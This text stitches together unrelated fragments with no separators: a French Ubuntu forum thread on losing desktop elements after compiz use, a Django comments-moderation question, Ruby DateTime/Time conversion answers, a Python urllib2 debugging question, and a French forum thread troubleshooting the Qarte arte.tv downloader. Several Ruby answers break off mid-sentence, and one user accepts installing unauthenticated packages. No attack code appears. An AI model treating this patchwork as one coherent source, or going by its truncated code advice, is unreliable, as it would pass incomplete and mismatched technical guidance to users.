Ign http://security.ubuntu.com saucy-security/multiverse Translation-fr
Ign http://security.ubuntu.com saucy-security/restricted Translation-fr_FR
Ign http://security.ubuntu.com saucy-security/restricted Translation-fr
Ign http://security.ubuntu.com saucy-security/universe Translation-fr_FR
Ign http://security.ubuntu.com saucy-security/universe Translation-fr
Ign http://fr.archive.ubuntu.com saucy/main Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy/multiverse Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy/restricted Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy/universe Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy-updates/main Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy-updates/multiverse Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy-updates/restricted Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy-updates/universe Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy-backports/main Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy-backports/main Translation-fr
Ign http://fr.archive.ubuntu.com saucy-backports/multiverse Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy-backports/multiverse Translation-fr
Ign http://fr.archive.ubuntu.com saucy-backports/restricted Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy-backports/restricted Translation-fr
Ign http://fr.archive.ubuntu.com saucy-backports/universe Translation-fr_FR
Ign http://fr.archive.ubuntu.com saucy-backports/universe Translation-fr
Lecture des listes de paquets... Fait
J'en ai profité pour faire un upgrade, mais il n'y avait aucune maj à faire.
Dernière modification par Anarcheon (Le 30/03/2014, à 22:30)
Hors ligne
nam1962
Re : Perte d'éléments suite à utilisation de compiz
Que donne
sudo apt-get install --reinstall unity
(je t'aurais bien dit d'installer xubuntu-desktop parceque c'est moi, hihihi !)
Mon tuto pour optimiser / finaliser une install : http://forum.ubuntu-fr.org/viewtopic.ph … #p15041961
Xubuntu 14.10 sur portable, 14.04 sur fixe, 14.04 chez mes amis.
Score : 49 convertis IRL (leur ai pas donné le choix, aussi...).
Un jeune site que j'aime bien, qui fait du T-shirt la nouvelle élégance ...bio en plus : http://goudronblanc.com
Hors ligne
Anarcheon
Re : Perte d'éléments suite à utilisation de compiz
Je teste ça d'ici une grosse heure
J'ai regardé ton tuto et il a l'air super bien, je vais probablement mettre xubuntu pour tester (t'auras probablement droit à un ptit mp à ce moment là )
EDIT :
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés :
compiz
Les NOUVEAUX paquets suivants seront installés :
compiz unity
0 mis à jour, 2 nouvellement installés, 0 à enlever et 0 non mis à jour.
Il est nécessaire de prendre 0 o/1 606 ko dans les archives.
Après cette opération, 5 186 ko d'espace disque supplémentaires seront utilisés.
Souhaitez-vous continuer [O/n] ? o
ATTENTION : les paquets suivants n'ont pas été authentifiés.
compiz unity
Faut-il installer ces paquets sans vérification (o/N) ? o
Sélection du paquet compiz précédemment désélectionné.
(Lecture de la base de données... 381912 fichiers et répertoires déjà installés.)
Dépaquetage de compiz (à partir de .../compiz_1%3a0.9.10+13.10.20131011-0ubuntu1_all.deb) ...
Sélection du paquet unity précédemment désélectionné.
Dépaquetage de unity (à partir de .../unity_7.1.2+13.10.20131014.1-0ubuntu1_i386.deb) ...
Traitement des actions différées (« triggers ») pour « man-db »...
Paramétrage de compiz (1:0.9.10+13.10.20131011-0ubuntu1) ...
Paramétrage de unity (7.1.2+13.10.20131014.1-0ubuntu1) ...
Dernière modification par Anarcheon (Le 31/03/2014, à 10:37)
Hors ligne
Anarcheon
Re : Perte d'éléments suite à utilisation de compiz
Up ?
Hors ligne
nam1962
Re : Perte d'éléments suite à utilisation de compiz
Je ne connais pas Unity en détail, du coup je t'ai suggéré ce qui semble le plus simple et innocent...
Tu as encore ceci à tester :
sudo rm .Xauthority
sudo rm .ICEauthority
sudo rm .xsession-errors*
sudo reboot
Si ca coince toujours et avant d'envisager une fresh install (de xubuntu ? ) tu peux aussi jeter un coup d'oeil là : http://forum.ubuntu-fr.org/viewtopic.ph … #p16476231
Dernière modification par nam1962 (Le 03/04/2014, à 08:54)
Mon tuto pour optimiser / finaliser une install : http://forum.ubuntu-fr.org/viewtopic.ph … #p15041961
Xubuntu 14.10 sur portable, 14.04 sur fixe, 14.04 chez mes amis.
Score : 49 convertis IRL (leur ai pas donné le choix, aussi...).
Un jeune site que j'aime bien, qui fait du T-shirt la nouvelle élégance ...bio en plus : http://goudronblanc.com
Hors ligne
Anarcheon
Re : Perte d'éléments suite à utilisation de compiz
Hmm, ça marche toujours pas
Le unity --reset de ton lien me renvoie "ERROR: the reset option is now deprecated"
Sinon je récupère un liveUSB avec Xubuntu cet aprem, je pense l'installer dans une partition séparée. Je resterai sûrement sur ubuntu quand même, je me suis pas mal habitué à l'environnement. Pour une éventuelle réinstall faudra que je voie comment conserver les différents réglages que j'ai pu faire (dictionnaire et abréviations persos sous LibreOffice, etc...), mais il doit y avoir des fichiers de configs, faudra que je les trouve et conserve juste. Mais la partition /home séparée j'étais pas vraiment convaincu au début, mais là je suis bien content de l'avoir ^^
Et Xubuntu pour faire mumuse, y a moyen que je le garde, ça m'évitera ce genre de déboires et ce sera moins embêtant de formater cette partition là
Hors ligne
Korak
Re : Perte d'éléments suite à utilisation de compiz
Bonjour,
Dans le retour de la commande:
sudo apt-get install --reinstall unity
On ne voit pas la fin. On ne sait donc pas si elle a abouti sans erreur.
A-t-elle abouti sans erreur?
OS: Ubuntu 14.04 64 bits + Windows 8.1 64 bits en dualboot (BIOS UEFI, Secure Boot activé et table de partitions GPT)
PC portable HP Pavilion g7-2335sb: Processeur: AMD A4-4300M APU Carte graphique: AMD Radeon HD 7420G Mémoire vive: 6 Go RAM
Je suis Parrain-Linux
Hors ligne
nam1962
Re : Perte d'éléments suite à utilisation de compiz
(...)Pour une éventuelle réinstall faudra que je voie comment conserver les différents réglages que j'ai pu faire (dictionnaire et abréviations persos sous LibreOffice, etc...)(...)
si tu as un /home séparé tu gardes tous tes réglages (sur Xub il faut installer Libreoffice, c'est tout)
Si ta /home n'est pas séparée, pour garder les réglages : http://doc.ubuntu-fr.org/reinstallation_ubuntu
Mon tuto pour optimiser / finaliser une install : http://forum.ubuntu-fr.org/viewtopic.ph … #p15041961
Xubuntu 14.10 sur portable, 14.04 sur fixe, 14.04 chez mes amis.
Score : 49 convertis IRL (leur ai pas donné le choix, aussi...).
Un jeune site que j'aime bien, qui fait du T-shirt la nouvelle élégance ...bio en plus : http://goudronblanc.com
Hors ligne
Anarcheon
Re : Perte d'éléments suite à utilisation de compiz
Bonjour Korak,
J'ai refait la manip, et j'obtiens bien le même résultat, la ligne suivante est la ligne de commande. A priori pas d'erreur donc.
Du coup je vais sûrement repartir sur une réinstallation, en espérant que ça résoudra le problème.
Si d'autres ont des idées avant que je ne réinstalle tout ça...
Je vous tiens au jus de toute façon.
Merci à tous,
Anar
Hors ligne
Anarcheon
Re : Perte d'éléments suite à utilisation de compiz
Bon alors voici les nouvelles : partitions supplémentaires et installations de Xubuntu et Ubuntu 13.10.
Les deux fonctionnent sans soucis et le problème d'affichage est résolu (heureusement !!), par contre pas de connexion internet depuis ces sessions... J'imagine qu'il y a qques manips à faire pour obtenir le wifi...mais histoire de corser un peu la chose, je n'ai pas de connexion filaire disponible (rien dans ma résidence, et de toute manière ma prise Ethernet a cramé lors d'un orage
Hors ligne |
I am implementing the stock Django comments to an existing site.
I'd like comments to appear in multiple apps and models and have all the comments behave the same - i.e. an email sent, plus other bits (listening to 'flag' signals and dealing with accordingly)
Where's the best place to put my custom moderator code?
I understand that I can pass in an iterator of Models to the register function - at first I placed it inside the __init__.py module of my main app as so:
from django.contrib.comments.moderation import moderator, CommentModerator
from app.models import Model1
from app2.models import Model2
#.... etc
class MyCommentModerator(CommentModerator):
email_notification = True
enable_field = 'enable_comments'
#...
moderator.register(
[Model1,Model2,Model3,Model4,...],
MyCommentModerator
)
But this gave an error saying that Model1 was already registered.
I would probably re-factor this code into a comments_moderation.py module - but where should I include it?
Or is it best practice to register each model inside each apps models.py file?
Are there any samples out there that use comments?
I only found out how the Comment moderation queue works by trial and error - are there any docs for this that I've missed? |
How do you convert between a DateTime and a Time object in Ruby?
You'll need two slightly different conversions.
To convert from
require 'date'
class Time
def to_datetime
# Convert seconds + microseconds into a fractional number of seconds
seconds = sec + Rational(usec, 10**6)
# Convert a UTC offset measured in minutes to one measured in a
# fraction of a day.
offset = Rational(utc_offset, 60 * 60 * 24)
DateTime.new(year, month, day, hour, min, seconds, offset)
end
end
Similar adjustments to Date will let you convert
class Date
def to_gm_time
to_time(new_offset, :gm)
end
def to_local_time
to_time(new_offset(DateTime.now.offset-offset), :local)
end
private
def to_time(dest, method)
#Convert a fraction of a day to a number of microseconds
usec = (dest.sec_fraction * 60 * 60 * 24 * (10**6)).to_i
Time.send(method, dest.year, dest.month, dest.day, dest.hour, dest.min,
dest.sec, usec)
end
end
Note that you have to choose between local time and GM/UTC time.
require 'time'
require 'date'
t = Time.now
d = DateTime.now
dd = DateTime.parse(t.to_s)
tt = Time.parse(d.to_s)
As an update to the state of the Ruby ecosystem,
pry
[1] pry(main)> ts = 'Jan 1, 2000 12:01:01'
=> "Jan 1, 2000 12:01:01"
[2] pry(main)> require 'time'
=> true
[3] pry(main)> require 'date'
=> true
[4] pry(main)> ds = Date.parse(ts)
=> #<Date: 2000-01-01 (4903089/2,0,2299161)>
[5] pry(main)> ds.to_date
=> #<Date: 2000-01-01 (4903089/2,0,2299161)>
[6] pry(main)> ds.to_datetime
=> #<DateTime: 2000-01-01T00:00:00+00:00 (4903089/2,0,2299161)>
[7] pry(main)> ds.to_time
=> 2000-01-01 00:00:00 -0700
[8] pry(main)> ds.to_time.class
=> Time
[9] pry(main)> ds.to_datetime.class
=> DateTime
[10] pry(main)> ts = Time.parse(ts)
=> 2000-01-01 12:01:01 -0700
[11] pry(main)> ts.class
=> Time
[12] pry(main)> ts.to_date
=> #<Date: 2000-01-01 (4903089/2,0,2299161)>
[13] pry(main)> ts.to_date.class
=> Date
[14] pry(main)> ts.to_datetime
=> #<DateTime: 2000-01-01T12:01:01-07:00 (211813513261/86400,-7/24,2299161)>
[15] pry(main)> ts.to_datetime.class
=> DateTime
This isn't really that hard.
require 'date'
date_time = DateTime.now
# #<DateTime: blah>
date_time.to_time
# #<Time: blah>
time = Time.now
# #<Time: blah>
time.to_datetime
# #<DateTime: blah>
After you
Unfortunately, the
The conversion methods below do keep that tz info.
For Ruby 1.8, look at Gordon Wilson's answer. It's from the good old reliable Ruby Cookbook.
For Ruby 1.9, it's slightly easier.
require 'date'
# Create a date in some foreign time zone (middle of the Atlantic)
d = DateTime.new(2010,01,01, 10,00,00, Rational(-2, 24))
puts d
# Convert DateTime to Time, keeping the original timezone
t = Time.new(d.year, d.month, d.day, d.hour, d.min, d.sec, d.zone)
puts t
# Convert Time to DateTime, keeping the original timezone
d = DateTime.new(t.year, t.month, t.day, t.hour, t.min, t.sec, Rational(t.gmt_offset / 3600, 24))
puts d
This prints the following
2010-01-01T10:00:00-02:00
2010-01-01 10:00:00 -0200
2010-01-01T10:00:00-02:00
The full original DateTime info including timezone is kept.
Improving on Gordon Wilson solution, here is my try:
def to_time
#Convert a fraction of a day to a number of microseconds
usec = (sec_fraction * 60 * 60 * 24 * (10**6)).to_i
t = Time.gm(year, month, day, hour, min, sec, usec)
t - offset.abs.div(SECONDS_IN_DAY)
end
You'll get the same time in UTC, loosing the timezone (unfortunately)
Also, if you have ruby 1.9, just try the |
I'm making a request using urllib2 and the HTTPBasicAuthHandler like so:
import urllib2
theurl = 'http://someurl.com'
username = 'username'
password = 'password'
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, theurl, username, password)
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
params = "foo=bar"
response = urllib2.urlopen('http://someurl.com/somescript.cgi', params)
print response.info()
I'm currently getting a httplib.BadStatusLine exception when running this code. How could I go about debugging? Is there a way to see what the raw response is regardless of the unrecognized HTTP status code? |
bishop
Re : Qarte arte.tv browser (ex Qarte+7)
VinsS !
J'ai réinstallé Qarte.
Avant de lancer Qarte j'ai refait un test avec rtmpdump... pas de problème.
J'ai supprimé le dossier caché .qarte puis testé Qarte:
bishop@JC:~/Bureau$ qarte -d
lang: /usr/share/locale/fr/LC_MESSAGES/qarte.mo
11:44:14: WARNING - utils Config file read error: [Errno 2] Aucun fichier ou dossier de ce type: '/home/bishop/.Qarte/config.cfg' using default.
11:44:14: INFO - qarte Main thread: <_MainThread(MainThread, started 140326371632896)>
11:44:14: INFO - ui_main setup main window
11:44:14: INFO - ui_main set page arte+
11:44:14: INFO - ui_main set button's group arte+
11:44:14: INFO - ui_main set basket arte+
11:44:14: INFO - ui_main set dwnld button arte+
11:44:14: INFO - ui_main set page arteLive
11:44:14: INFO - ui_main set categories buttons
11:44:14: INFO - ui_main set button's group arteLive
11:44:14: INFO - ui_main set basket arteLive
11:44:14: INFO - ui_main set dwnld buttons
11:44:14: INFO - ui_main set page arteLive extra
11:44:14: INFO - ui_main set extra categories buttons
11:44:14: INFO - ui_main set button's group arteLive extra
11:44:14: INFO - ui_main set basket arteLive extra
11:44:14: INFO - ui_main set extra dwnld buttons
11:44:14: INFO - ui_main set menu bar
11:44:14: INFO - ui_main set status bar
11:44:14: INFO - ui_main set actions
11:44:14: INFO - ui_main make connections
11:44:14: INFO - ui_main set theme
11:44:14: INFO - ui_main main window complete
11:44:14: INFO - utils Updating
11:44:15: INFO - utils File /home/bishop/.Qarte/livedata.py saved
11:44:15: INFO - utils The file has been updated at: mer. 30 janv. 2013 13:07:32 CET
11:44:15: INFO - artePlus arte+7 folder: None
11:44:15: INFO - qarte Call setting dialogbox
11:45:06: INFO - parsers Run arte+7 parser: <Thread(Thread-1, started 140325670610688)>
11:45:06: INFO - parsers Get page: http://videos.arte.tv/fr/videos/
11:45:06: INFO - parsers Get page: http://videos.arte.tv/fr/do_delegate/videos/index--3188698,view,asThumbnail.html,?hash=fr/thumb///1/200/
11:45:07: INFO - parsers duration error for Bob: 'NoneType' object has no attribute 'group'
11:45:07: INFO - parsers duration error for Formic: 'NoneType' object has no attribute 'group'
11:45:07: INFO - parsers Found 108 videos
11:45:49: INFO - artePlus Display thumbnails finished
Traceback (most recent call last):
File "/usr/share/qarte-1.6.0/artePlus.py", line 101, in populate
self.display_videos()
File "/usr/share/qarte-1.6.0/artePlus.py", line 121, in display_videos
self.main.check_parsing()
File "/usr/share/qarte-1.6.0/qarte.py", line 269, in check_parsing
if self.cfg['load_pages'][2]:
IndexError: tuple index out of range
11:46:17: INFO - artePlus get_stream_link: http://videos.arte.tv/fr/videos/bob--7294718
11:46:17: INFO - parsers Get stream URL: http://videos.arte.tv/fr/videos/bob--7294718
11:46:18: INFO - parsers Found: http://videos.arte.tv/fr/do_delegate/videos/bob--7294718,view,asPlayerXml.xml
11:46:18: INFO - parsers Get xml page: http://videos.arte.tv/fr/do_delegate/videos/bob--7294718,view,asPlayerXml.xml
11:46:19: INFO - loader Fetch packets, command:
rtmpdump -r "rtmp://artestras.fcod.llnwd.net/a3903/o35/mp4:geo/videothek/ALL/arteprod/A7_SGT_ENC_08_044632-000-A_PG_HQ_FR?h=26680f5634c6487100bc3e43e86eaeab" --flv "/home/bishop/Vidéos/Qarte/plus136014757902.flv"
1360147609.66 File: /home/bishop/Vidéos/Qarte/plus136014757902.flv
Renamed: /home/bishop/Vidéos/Qarte/Bob-2013 02 06, 09h25.flv
Exit Qarte, Check downloading... OK
close updating thread... OK
Save config file... OK
...Quiet close.
La vidéo Bob-2013 02 06, 09h25.flv est téléchargée et se trouve dans le dossier /home/bishop/Vidéos/Qarte/.Qarte fonctionne !
Que du plaisir ! Merci VinsS pour avoir trouvé la source du problème et pour ce soft vraiment sympa !
Dernière modification par bishop (Le 06/02/2013, à 21:28)
Hors ligne
fra_tor_33
Re : Qarte arte.tv browser (ex Qarte+7)
Désinstallation totale de qarte, y compris dossier de config puis réinstallation = même plantage.
Sans doute un problème de thème en effet mais que je n'arrive pas à régler même en remettant les thèmes par défaut.
Je laisse malheureusement tomber puisqu'on est dans l'impasse. Je n'ai pas le temps de réinstaller ubuntu maintenant pour voir. J'attendrai la 13.04
Merci pour votre aide malgré tout ;-)
Hors ligne
gonzolero
Re : Qarte arte.tv browser (ex Qarte+7)
Très pratique en zone inéligible (1078.495 Kbps (134.812 Ko/sec). Première utilisation aujourd'hui sous ubuntu-12.10 avec Arte+7, pas de problème pour l'instant
Ella Ojectif Logo : Logo mis à jour le 25/02/12
Hors ligne
freechelmi
Re : Qarte arte.tv browser (ex Qarte+7)
Petite question : j'ai l'impression que Qarte est limité par le serveur RTMP et donc ne peux pas ripper plus vite que le débit de la vidéo.
Alors que des outils comme captivy rippent au max du tuyau ?
Hors ligne
leTrolldesForets
Re : Qarte arte.tv browser (ex Qarte+7)
Bonsoir, et merci freechelmi pour ce lien.
Malheureusement pour moi même si ce "Logiciel" est "gratuit." Il "Nécessite Microsoft Windows ainsi que Microsoft .NET Framework 4".
Or j'utilise Ubuntu Linux et captivy ne semble pas open source, je ne pourrai donc pas étudier comment il rippe au max du tuyau pour en profiter dans Qarte et en faire profiter d'autre utilisateur.
Belle pub.
Hors ligne
HELAMELU
Re : Qarte arte.tv browser (ex Qarte+7)
Bonjour,
je prends ce fil en espérant être au bon endroit.
Depuis j'ai essayé de lancé depuis hier à plusieurs reprise Qarte 1.6, que j'utilisais sans problème depuis sa création. Aujourd'hui il ne fonctionne pas, le seul message d'erreur qu'il donne c'est "error downloading".
Le seul changement notoire de mon coté, c'est que ma vieille livebox à lâché et que j'ai du en mettre une neuve, d'un modèle + récent à la place. Je ne vois pas bien le rapport éventuel !.
D'autre ubunteros auraient ils constaté le même problème?
Hors ligne
HELAMELU
Re : Qarte arte.tv browser (ex Qarte+7)
Fausse alerte.
à 11h30 du matin Qarte remarche, plein tube (1.4 mo/s). La cde "qarte -d" pour voir ce qui se passe en console c'est super, aussi pour pouvoir choper les messages éventuels.
Hors ligne
bernic
Re : Qarte arte.tv browser (ex Qarte+7)
Je pense que fausse alerte n'est pas forcément adaptée
J'ai aussi constaté ceci : Le seul message d'erreur qu'il donne c'est "error downloading". J'ai tenté aussi qarte -d sur 2 pc.... même message depuis deux jours :
18:54:31: INFO - parsers Found: http://videos.arte.tv/fr/do_delegate/videos/le-dessous-des-cartes--7362472,view,asPlayerXml.xml
18:54:31: INFO - parsers Get xml page: http://videos.arte.tv/fr/do_delegate/videos/le-dessous-des-cartes--7362472,view,asPlayerXml.xml
18:54:31: INFO - loader Fetch packets, command:
rtmpdump -r "rtmp://artestras.fcod.llnwd.net/a3903/o35/mp4:geo/videothek/ALL/arteprod/A7_SGT_ENC_08_047590-018-A_PG_HQ_FR?h=4b6447adfbdea65ac47127782fb8e628" --flv "/home/phil/Vidéos/Arte/plus136293807156.flv"
Je voulais récupérer une émission du dessous des cartes... mais rien ne se passe.
Je précise qu'auparavant tout fonctionnait nickel...; que je n'ai touché à rien et que je suis encore sous 10.04
Dernière modification par bernic (Le 10/03/2013, à 20:02)
La théorie, c'est quand on comprend tout et que rien ne marche.
La pratique, c'est quand tout marche mais on ne sait pas pourquoi.
Avec win, ils ont réussi les deux : rien ne marche et personne ne sait pourquoi
Hors ligne
bernic
Re : Qarte arte.tv browser (ex Qarte+7)
Un truc bizarre que j'ai déjà constaté 2 fois.
Voilà ... je lance un enregistrement sur ArteLiveweb... cela fonctionne... j'arrête l'enregistrement et je reviens sur Arte et là .... miracle... je peux enregistrer le dessous des cartes...
Etonnant, non ???
Quelle explication sinon : "la pratique, c'est quand tout marche mais on ne sait pas pourquoi".
Enfin, c'est mon cas
Dernière modification par bernic (Le 10/03/2013, à 20:14)
La théorie, c'est quand on comprend tout et que rien ne marche.
La pratique, c'est quand tout marche mais on ne sait pas pourquoi.
Avec win, ils ont réussi les deux : rien ne marche et personne ne sait pourquoi
Hors ligne
TerraLibre
Re : Qarte arte.tv browser (ex Qarte+7)
Salut à tous et grand merci à VinsS!
J'ai une suggestion pour la suite: un navigateur de vidéos qu'on a déjà téléchargées avec Qarte, avec recherche par titres, dates, mots-clefs contenu dans les descriptions et pourquoi pas d'autres notes perso (catégories, vu...). Finalement quasiment la même chose mais sur disque dur, parce que je sais pas vous mais moi j'arrive pas à classer ces milliers de docs arte! Générer un fichier texte de description et une image jpg c'est bien mais ça ne s'intègre pas dans un logiciel ni comme un tag vidéo dans le fichier (d'ailleurs le format .flv est une vrai plaie pour ça). J'ai essayé avec Tellico, Griffith, Banshee, vlc, Data Crow... mais aucun ne correspond car soit ça fonctionne avec une base de donnée sauvegardée ou en ligne, soit on entre tout manuellement dans une pauvre colonne commentaire qu'il faut élargir, pas pratique... Donc voilà je fais appel à vous, comment organisez vous vos fichiers Qarte? est-ce qu'une "extension" serait possible ? ou bien un "export" pour autre logiciel de catalogage vidéo? Merci!
Hors ligne
Swiss_Knight
Re : Qarte arte.tv browser (ex Qarte+7)
Bonsoir,
j'essaye à l'instant ce programme sous Lucid mais il ne veut pas s'installer : il manque une dépendance à un truc qui s'appelle rtmpdump ou un truc du genre, et ce paquet n'est pas trouvable dans la logihtèque. Des idées ?
Merci.
xuniL
Hors ligne
VinsS
Re : Qarte arte.tv browser (ex Qarte+7)
Salut,
J'utilise aussi Lucid et rtmpdump se trouve dans Synaptic.
Mais peut-être ai-je rajouté un dépôt dont je ne me souviens plus ...
Regardes si ce paquet ci convient:
Hors ligne
tuxmarc
Re : Qarte arte.tv browser (ex Qarte+7)
Bonjour
Donc voilà je fais appel à vous, comment organisez vous vos fichiers Qarte?
Je ne me casse pas trop la tête, >vidéos>arte pour les reportages
et >vidéos>Téléchat .... pour les petites filles
Celà dit, je n'en n'ai pas encore des milliers.
Pour Xenius, Arte Reportage, je renomme le fichier pour m'y retrouver.
C'est vrai qu'à chaque fois que je vais à la pêche j'en ramène beaucoup et j'ai commencé à graver car au ryhtme où arrivent les mégas, le disque commence à tirer la langue !
Vive Richard Stalmann, Linus Torvalds, et tous les fondus de Linux.
De l'Ordinosaure fait à 90% de récup, à un portable LDLC neuf sans système, en passant par une tour, un serveur et une carte mère sans boitier, tous libres !!
Collection de 15 DD tous bien élevés au Linux sous la mère et se baladant d'une machine à l'autre.
Parrain Linux sur www.parrain-linux.com et www.parrains.linux.free.fr
Hors ligne
Zoulou.4556
Re : Qarte arte.tv browser (ex Qarte+7)
Slt VinsS, slt la communauté j'ai une petite demande sur ta prochaine version, serait il possible d'inclure les vidéos de lesinternets.arte, elles sont sous licences Creative Commons et parle essentiellement d'internet, merci.
Asus X66IC Manjaro 64bits dual Ubuntu 14.04 64 bits / Dell Latitude D520 Xubuntu 14.04 32 bits/ Aurore BG6-I3-4-H10S1 SSD 120 go +DD 1To Manjaro 64 bits dual Ubuntu 64 bits
Hors ligne
TerraLibre
Re : Qarte arte.tv browser (ex Qarte+7)
Pour Xenius, Arte Reportage, je renomme le fichier pour m'y retrouver.
C'est vrai qu'à chaque fois que je vais à la pêche j'en ramène beaucoup et j'ai commencé à graver car au ryhtme où arrivent les mégas, le disque commence à tirer la langue !
Pareil ça s'accumule! Je télécharge tout ce qui bouge (les neurones!) avec Qarte mais je n'ai pas les titres des séries ni les sujets... Pour l'instant je classe par genre: documentaire, film, court métrage, concert... Je prends le résumé en texte et la vignette jpg, je me dis que ça servira pour archiver un jour, avec un bon outil de recherche ! Ce que j'ai trouvé de mieux pour l'instant c'est le gestionnaire de photo DigiKam avec recherche par mots-clefs mais dommage qu'il ne prenne pas en charge les médias offline (CD, disque dur...) comme un catalogueur de fichiers. Si le sujet intéresse d'autres personnes je peux ouvrir un nouveau fil !
Hors ligne
Zoulou.4556
Re : Qarte arte.tv browser (ex Qarte+7)
Slt, pour ceux que ça intéresse la série de web reportage "Une contre-histoire des internets", Arte diffusera le 14 mai un documentaire sur le même sujet et le même nom "Une contre-histoire de l'Internet", voir l'article ici (Confessions hacker : ma première fois… sur Internet)
Asus X66IC Manjaro 64bits dual Ubuntu 14.04 64 bits / Dell Latitude D520 Xubuntu 14.04 32 bits/ Aurore BG6-I3-4-H10S1 SSD 120 go +DD 1To Manjaro 64 bits dual Ubuntu 64 bits
Hors ligne
VinsS
Re : Qarte arte.tv browser (ex Qarte+7)
Salut,
@ Zoulou.4556, j'ai regardé les liens associés à ces vidéos, ils me semblent, pour la plupart, renvoyer vers Youtube et non pas vers un stream.
Arno Martin raconte les années 2000:
http://www.youtube.com/embed/YJ2ubCO18q … d_policy=1
Benjamin Bayart:
http://www.youtube.com/embed/ciqdTcUdni … d_policy=1
...
Il n'y a rien dans le code de Qarte de prévu pour downloader sur Youtube. Et je ne me vois pas réinventer la roue vu des applis qui téléchargent sur Youtube existent déjà en nombre.
Pour trouver le lien Youtube, il suffit de passer avec sa souris sur la date d'une contribution i.e. Le 18 avril 2013 - Par 3615internets et le lien apparaît en bas du navigateur, dans ce cas : lesinternets.arte.tv/contribution/249 ensuite charger la page:
wget http://lesinternets.arte.tv/contribution/249
et avec l'outil Chercher, trouver la ligne qui contient le mot youtube
Hors ligne
Zoulou.4556
Re : Qarte arte.tv browser (ex Qarte+7)
Merci d'avoir répondu VinsS, je m'en étais aperçu tardivement mais j'ai laissé le poste au cas ou ça intéresserait d'autres personnes.
Asus X66IC Manjaro 64bits dual Ubuntu 14.04 64 bits / Dell Latitude D520 Xubuntu 14.04 32 bits/ Aurore BG6-I3-4-H10S1 SSD 120 go +DD 1To Manjaro 64 bits dual Ubuntu 64 bits
Hors ligne
Moluskum
Re : Qarte arte.tv browser (ex Qarte+7)
Bonjour,
Je suis sous Ubuntu 12.10, et je ne parviens pas à utiliser Qarte. J'ai installé la version 1.6.0, d'abord en ligne de commande comme décrit dans le 1er post, puis je l'ai désinstallée et j'ai recommencé cette fois en allant chercher le paquet sur Oqapy, mais à chaque fois je rencontre le problème suivant :
Qarte se lance bien, la fenêtre de configuration s'affiche, mais dès que j'essaye de cocher un bouton ou quand je clique sur "parcourir" pour sélectionner un dossier les deux fenêtres de Qarte se referment. Impossible de compléter la configuration, le logiciel est inutilisable.
Quelqu'un aurait une idée de ce qui cloche ? Merci de votre aide.
----------------------------------------------------------------------------------------------------------------------
EDIT :
Je viens de trouver ce qui cloche après être remonté dans les messages précédents : c'est un problème de thème (bug similaire à celui déjà signalé par un utilisateur de Xubuntu).
Sous le thème "Adwaita", Qarte plante. Mais en utilisant le thème par défaut "Ambiance" le problème disparaît !
Dernière modification par Moluskum (Le 19/04/2013, à 21:15)
Hors ligne
Moluskum
Re : Qarte arte.tv browser (ex Qarte+7)
Une question : comment fait-on pour télécharger des fichiers qui sont bien présents sur le site Arte +7, mais pas proposés par défaut dans l'application, et dont l'url est sur une page .html.
J'ai bien trouvé la fonction "recherche personnalisée", et lorsque je rentre une adresse comme, par exemple, http://liveweb.arte.tv/fr/video/Le_Sacr … t_Etienne/, ça fonctionne très bien.
Par contre, avec l'adresse suivante : http://videos.arte.tv/fr/videos/real-hu … 47896.html (et toutes celles qui sont localisées sur une page html), Qarte ne trouve pas le flux.
Une solution ?
---------------------------------------------------------------------
EDIT : Au temps pour moi, sur le deuxième lien la vidéo n'est plus proposée dans son intégralité, il n'y a plus qu'un petit extrait d'à peine une minute, c'est sans doute pour ça qu'il n'est plus proposé dans Qarte. Alors mon exemple tombe à l'eau (mais on ne peut quand même pas accéder au flux, alors que j'y arrive avec Captvity). Tant pis, j'aurais raté les épisodes 3 et 4
Dernière modification par Moluskum (Le 20/04/2013, à 00:20)
Hors ligne
Moluskum
Re : Qarte arte.tv browser (ex Qarte+7)
Bon, alors félicitation pour ce soft ! Il est vraiment super, et c'est pour moi la bonne alternative à Captvity (qui m'obligeait encore à retourner épisodiquement sous Windows).
Merci !
Hors ligne
elrockito87
Re : Qarte arte.tv browser (ex Qarte+7)
Salut, depuis plusieurs jours lorsque je lance qarte ce dernier démarre puis plus rien alors je teste en mode console et voici ce que j'obtiens:
> qarte
lang: /usr/share/locale/fr/LC_MESSAGES/qarte.mo
Traceback (most recent call last):
File "/usr/bin/qarte", line 118, in <module>
Main = Qarte()
File "/usr/share/qarte-1.6.0/qarte.py", line 140, in __init__
self.edit_settings()
File "/usr/share/qarte-1.6.0/qarte.py", line 228, in edit_settings
sett.setupUi(Dialog, self)
File "/usr/share/qarte-1.6.0/ui_config.py", line 320, in setupUi
self.set_config()
File "/usr/share/qarte-1.6.0/ui_config.py", line 336, in set_config
self.cfg['cur_cat']))
ValueError: 'News' is not in list
Si qq1 a une idée je suis partant...........
MERCI
N'allez pas là où le chemin peut mener. Allez là où il n'y a pas de chemin et laissez une trace. [Ralph Waldo Emerson]
Ne restreins pas le champ du possible aux limites de ton imaginaire. [Antony Bouchardon]
Hors ligne
alexi
Re : Qarte arte.tv browser (ex Qarte+7)
Bonsoir!
Tout d'abord, un grand merci, installé aujourd'hui sur mon pc et ça fonctionne super bien
J'ai juste une petite question
J'ai remarqué que les fichiers chargés n'étaient plus en .flv, mais en mp4.
Chez moi, c'est enregistré en .flv
Est-ce "normal" ? Y-a-t-il un moyen que les vidéos soient enregistrées dans un autre format?
Encore merci
Sous linux depuis 2 ans :)
Tourne sous Ubuntu 14.04 avec KDE
Mes pains maison
Hors ligne
VinsS
Re : Qarte arte.tv browser (ex Qarte+7)
@ elrockito87 Comment fais-tu pour avoir cela ? la catégorie News à été retirée de la config depuis au moins la version 1.3.
Quoiqu'il en soit, dans le dossier ~/.Qarte supprime le fichier config.cfg, tu devras indiquer à nouveau ton dossier de vidéos au prochain démarrage.
